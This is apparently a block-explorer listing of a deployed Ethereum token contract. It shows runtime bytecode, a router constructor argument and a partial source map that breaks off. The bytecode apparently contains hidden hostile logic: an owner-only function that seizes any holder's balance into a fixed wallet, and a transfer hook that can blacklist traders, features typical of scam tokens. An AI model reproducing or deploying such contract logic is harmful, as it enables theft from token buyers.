06101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227d9061459f565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d191906146ba565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6123206129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a49061459f565b60405180910390fd5b801515600d60019054906101000a900460ff161515036123cc57600080fd5b80600d60016101000a81548160ff02191690831515021790555050565b600c5481565b6123f76129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247b9061459f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036124f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ea906149a1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b6125be6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461264b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126429061459f565b60405180910390fd5b612653611a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036126c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b790614a0d565b60405180910390fd5b670de0b6b3a7640000816126d49190614a2d565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411612874576000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280a91906146ba565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129fb565b670de0b6b3a7640000816128889190614a2d565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128d29190614a6f565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a7640000816129299190614a2d565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299591906146ba565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6d90614b15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612adc90614ba7565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612bc391906143c1565b60405180910390a3505050565b6000612bdc848461216a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612c565781811015612c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3f90614c13565b60405180910390fd5b612c558484848403612a07565b5b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc390614ca5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612d3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3290614d37565b60405180910390fd5b60008203612d5657612d4f848460006130c7565b90506130c0565b601760019054906101000a900460ff16156130a657600d60009054906101000a900460ff1615612d9257612d8b8484846130c7565b90506130c0565b6000612d9d3061193c565b90506000600c548210159050808015612dc35750600d60009054906101000a900460ff16155b8015612e1c5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015612e345750600d60019054906101000a900460ff165b15612e5e57600d60029054906101000a900460ff1615612e5457600c5491505b612e5d82613255565b5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ea99190614a6f565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612f8f5750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612fa357612f9e87878761329d565b612fa5565b845b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ff291906146ba565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161309291906143c1565b60405180910390a3600193505050506130c0565b6130b08483613563565b6130bb84848461378b565b600190505b9392505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131149190614a6f565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a291906146ba565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161324291906143c1565b60405180910390a3600190509392505050565b61325e81613d95565b6000479050600081111561329957613298600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261400e565b5b5050565b60008060009050600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156133485750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561336b576009546008548461335e9190614a2d565b6133689190614d86565b90505b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156133df57600954600654846133ce9190614a2d565b6133d89190614d86565b9050613450565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561344f57600954600754846134429190614a2d565b61344c9190614d86565b90505b5b600081111561354d5780600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a491906146ba565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161354491906143c1565b60405180910390a35b80836135599190614a6f565b9150509392505050565b61356b611a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156135f05750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156136465750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561378757601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136a257600080fd5b600060155411156136bd576015548111156136bc57600080fd5b5b601460009054906101000a900460ff161561370d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161370490614e03565b60405180910390fd5b6000601654111561376757601654600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561376657600080fd5b5b601760009054906101000a900460ff16156137865761378582614059565b5b5b5050565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561380d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161380490614e6f565b60405180910390fd5b613815611a50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561389a5750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156138d257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15613c0e57600d60009054906101000a900460ff16156138fd576138f78383836130c7565b50613ba4565b60006139083061193c565b90506000600c54821015905080801561392e5750600d60009054906101000a900460ff16155b80156139875750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561399f5750600d60019054906101000a900460ff165b156139c957600d60029054906101000a900460ff16156139bf57600c5491505b6139c882613255565b5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a149190614a6f565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613afa5750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613b0e57613b0986868661329d565b613b10565b835b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b5d91906146ba565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613c0191906143c1565b60405180910390a3613d90565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c599190614a6f565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ce791906146ba565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613d8791906143c1565b60405180910390a35b505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115613dcd57613dcc614e8f565b5b604051908082528060200260200182016040528015613dfb5781602001602082028036833780820191505090505b5090503081600081518110613e1357613e12614ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ede9190614703565b81600181518110613ef257613ef1614ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f5930601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612a07565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613fbd959493929190614fe6565b600060405180830381600087803b158015613fd757600080fd5b505af1158015613feb573d6000803e3d6000fd5b50505050506000600d60006101000a81548160ff02191690831515021790555050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015614054573d6000803e3d6000fd5b505050565b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006140e4826140b9565b9050919050565b6140f4816140d9565b81146140ff57600080fd5b50565b600081359050614111816140eb565b92915050565b60006020828403121561412d5761412c6140b4565b5b600061413b84828501614102565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561417e578082015181840152602081019050614163565b60008484015250505050565b6000601f19601f8301169050919050565b60006141a682614144565b6141b0818561414f565b93506141c0818560208601614160565b6141c98161418a565b840191505092915050565b600060208201905081810360008301526141ee818461419b565b905092915050565b6000819050919050565b614209816141f6565b811461421457600080fd5b50565b60008135905061422681614200565b92915050565b60008060408385031215614243576142426140b4565b5b600061425185828601614102565b925050602061426285828601614217565b9150509250929050565b60008115159050919050565b6142818161426c565b82525050565b600060208201905061429c6000830184614278565b92915050565b6142ab8161426c565b81146142b657600080fd5b50565b6000813590506142c8816142a2565b92915050565b600080604083850312156142e5576142e46140b4565b5b60006142f385828601614102565b9250506020614304858286016142b9565b9150509250929050565b614317816140d9565b82525050565b6000602082019050614332600083018461430e565b92915050565b6000819050919050565b600061435d614358614353846140b9565b614338565b6140b9565b9050919050565b600061436f82614342565b9050919050565b600061438182614364565b9050919050565b61439181614376565b82525050565b60006020820190506143ac6000830184614388565b92915050565b6143bb816141f6565b82525050565b60006020820190506143d660008301846143b2565b92915050565b6000806000606084860312156143f5576143f46140b4565b5b600061440386828701614102565b935050602061441486828701614102565b925050604061442586828701614217565b9150509250925092565b600060208284031215614445576144446140b4565b5b6000614453848285016142b9565b91505092915050565b600060ff82169050919050565b6144728161445c565b82525050565b600060208201905061448d6000830184614469565b92915050565b6000806000606084860312156144ac576144ab6140b4565b5b60006144ba86828701614217565b93505060206144cb86828701614217565b92505060406144dc86828701614217565b9150509250925092565b6000602082840312156144fc576144fb6140b4565b5b600061450a84828501614217565b91505092915050565b6000806040838503121561452a576145296140b4565b5b600061453885828601614102565b925050602061454985828601614102565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061458960208361414f565b915061459482614553565b602082019050919050565b600060208201905081810360008301526145b88161457c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061460657607f821691505b602082108103614619576146186145bf565b5b50919050565b7f416c726561647920616464656421000000000000000000000000000000000000600082015250565b6000614655600e8361414f565b91506146608261461f565b602082019050919050565b6000602082019050818103600083015261468481614648565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006146c5826141f6565b91506146d0836141f6565b92508282019050808211156146e8576146e761468b565b5b92915050565b6000815190506146fd816140eb565b92915050565b600060208284031215614719576147186140b4565b5b6000614727848285016146ee565b91505092915050565b6000604082019050614745600083018561430e565b614752602083018461430e565b9392505050565b7f496e636f72726563742074617800000000000000000000000000000000000000600082015250565b600061478f600d8361414f565b915061479a82614759565b602082019050919050565b600060208201905081810360008301526147be81614782565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061482160258361414f565b915061482c826147c5565b604082019050919050565b6000602082019050818103600083015261485081614814565b9050919050565b7f4368616e67652076616c75652100000000000000000000000000000000000000600082015250565b600061488d600d8361414f565b915061489882614857565b602082019050919050565b600060208201905081810360008301526148bc81614880565b9050919050565b7f54686973206164647265737320616c7265616479207365740000000000000000600082015250565b60006148f960188361414f565b9150614904826148c3565b602082019050919050565b60006020820190508181036000830152614928816148ec565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061498b60268361414f565b91506149968261492f565b604082019050919050565b600060208201905081810360008301526149ba8161497e565b9050919050565b7f544152474554204552524f520000000000000000000000000000000000000000600082015250565b60006149f7600c8361414f565b9150614a02826149c1565b602082019050919050565b60006020820190508181036000830152614a26816149ea565b9050919050565b6000614a38826141f6565b9150614a43836141f6565b9250828202614a51816141f6565b91508282048414831517614a6857614a6761468b565b5b5092915050565b6000614a7a826141f6565b9150614a85836141f6565b9250828203905081811115614a9d57614a9c61468b565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614aff60248361414f565b9150614b0a82614aa3565b604082019050919050565b60006020820190508181036000830152614b2e81614af2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614b9160228361414f565b9150614b9c82614b35565b604082019050919050565b60006020820190508181036000830152614bc081614b84565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614bfd601d8361414f565b9150614c0882614bc7565b602082019050919050565b60006020820190508181036000830152614c2c81614bf0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614c8f60258361414f565b9150614c9a82614c33565b604082019050919050565b60006020820190508181036000830152614cbe81614c82565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614d2160238361414f565b9150614d2c82614cc5565b604082019050919050565b60006020820190508181036000830152614d5081614d14565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614d91826141f6565b9150614d9c836141f6565b925082614dac57614dab614d57565b5b828204905092915050565b7f4572726f72000000000000000000000000000000000000000000000000000000600082015250565b6000614ded60058361414f565b9150614df882614db7565b602082019050919050565b60006020820190508181036000830152614e1c81614de0565b9050919050565b7f56616c756520657863656564732062616c616e63650000000000000000000000600082015250565b6000614e5960158361414f565b9150614e6482614e23565b602082019050919050565b60006020820190508181036000830152614e8881614e4c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000614f12614f0d614f0884614eed565b614338565b6141f6565b9050919050565b614f2281614ef7565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614f5d816140d9565b82525050565b6000614f6f8383614f54565b60208301905092915050565b6000602082019050919050565b6000614f9382614f28565b614f9d8185614f33565b9350614fa883614f44565b8060005b83811015614fd9578151614fc08882614f63565b9750614fcb83614f7b565b925050600181019050614fac565b5085935050505092915050565b600060a082019050614ffb60008301886143b2565b6150086020830187614f19565b818103604083015261501a8186614f88565b9050615029606083018561430e565b61503660808301846143b2565b969550505050505056fea264697066735822122007c5e1fb0df0c371d11753e43f0ecc92b889e1e8193ed437966e3edb294b15f664736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : _router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
12618:20316:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16212:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14466:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17955:226;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32840:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16788:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13566:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26384:206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15586:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32758:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13400:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18761:295;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28365:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;32783:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15428:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13009:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19465:263;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13512:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12927:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13453:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27505:637;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16501:89;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;32348:276;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15908:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16008:96;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13363:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15757:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13085:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32812:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16598:88;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2381:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14685:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16314:88;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20231:498;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17178:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16694:86;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;28150:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;32903:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28683:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13614:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12968:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16114:90;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;32110:98;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17459:176;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30574:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;28545:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13260:66;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2595:281;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13050:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29260:486;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16212:94;2518:12;:10;:12::i;:::-;2508:22;;:6;;;;;;;;;;:22;;;2500:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16293:5:::1;16277:4;:13;16282:7;16277:13;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;16212:94:::0;:::o;14466:100::-;14520:13;14553:5;14546:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14466:100;:::o;17955:226::-;18063:4;18080:13;18096:12;:10;:12::i;:::-;18080:28;;18119:32;18128:5;18135:7;18144:6;18119:8;:32::i;:::-;18169:4;18162:11;;;17955:226;;;;:::o;32840:20::-;;;;;;;;;;;;;:::o;16788:184::-;16892:13;2518:12;:10;:12::i;:::-;2508:22;;:6;;;;;;;;;;:22;;;2500:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16936:4:::1;16918:15;;:22;;;;;;;;;;;;;;;;;;16959:5;16951:13;;16788:184:::0;;;;:::o;13566:41::-;;;;;;;;;;;;;:::o;26384:206::-;2518:12;:10;:12::i;:::-;2508:22;;:6;;;;;;;;;;:22;;;2500:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;26514:4:::1;26483:35;;:17;:27;26501:8;26483:27;;;;;;;;;;;;;;;;;;;;;;;;;:35;;::::0;26475:62:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;26578:4;26548:17;:27;26566:8;26548:27;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;26384:206:::0;;:::o;15586:108::-;15647:7;15674:12;;15667:19;;15586:108;:::o;32758:18::-;;;;;;;;;;;;;:::o;13400:44::-;;;;;;;;;;;;;:::o;18761:295::-;18892:4;18909:15;18927:12;:10;:12::i;:::-;18909:30;;18950:38;18966:4;18972:7;18981:6;18950:15;:38::i;:::-;18999:27;19009:4;19015:2;19019:6;18999:9;:27::i;:::-;;19044:4;19037:11;;;18761:295;;;;;:::o;28365:172::-;2518:12;:10;:12::i;:::-;2508:22;;:6;;;;;;;;;;:22;;;2500:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;28481:4:::1;28452:33;;:25;;;;;;;;;;;:33;;::::0;28444:42:::1;;;::::0;::::1;;28525:4;28497:25;;:32;;;;;;;;;;;;;;;;;;28365:172:::0;:::o;32783:22::-;;;;:::o;15428:93::-;15486:5;15511:2;15504:9;;15428:93;:::o;13009:28::-;;;;:::o;19465:263::-;19578:4